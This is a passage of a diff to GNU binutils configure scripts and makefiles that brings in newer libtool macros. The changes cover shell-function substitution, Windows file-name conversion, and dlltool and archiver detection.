++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/bfd/configure.ac b/bfd/configure.ac
+index 7fcc5d4a947..f7191d3f30f 100644
+--- a/bfd/configure.ac
++++ b/bfd/configure.ac
+@@ -276,7 +276,7 @@ changequote(,)dnl
+ x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
+ changequote([,])dnl
+ if test -n "$x"; then
+- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
++ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
+ fi
+ fi
+
+diff --git a/binutils/Makefile.in b/binutils/Makefile.in
+index 842a6d99b54..037cccde038 100644
+--- a/binutils/Makefile.in
++++ b/binutils/Makefile.in
+@@ -495,6 +495,7 @@ DEBUGINFOD_LIBS = @DEBUGINFOD_LIBS@
+ DEFS = @DEFS@
+ DEMANGLER_NAME = @DEMANGLER_NAME@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DLLTOOL_DEFS = @DLLTOOL_DEFS@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+@@ -539,6 +540,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -587,6 +589,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__include = @am__include@
+diff --git a/binutils/configure b/binutils/configure
+index a1092735311..f3bdee98f3f 100755
+--- a/binutils/configure
++++ b/binutils/configure
+@@ -704,8 +704,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -822,6 +825,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1529,6 +1533,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-debuginfod Enable debuginfo lookups with debuginfod
+ (auto/yes/no)
+ --with-gnu-ld assume the C compiler uses GNU ld default=no
+@@ -4958,8 +4964,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4999,7 +5005,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5692,8 +5698,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5742,6 +5748,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5758,6 +5838,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5926,7 +6011,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6085,6 +6171,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6100,6 +6201,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6114,8 +6366,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6131,7 +6385,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6151,11 +6405,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6171,7 +6429,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6190,6 +6448,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6201,25 +6463,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -6231,6 +6487,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6570,8 +6884,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6607,6 +6921,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6648,6 +6963,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6659,7 +6986,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6685,8 +7012,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
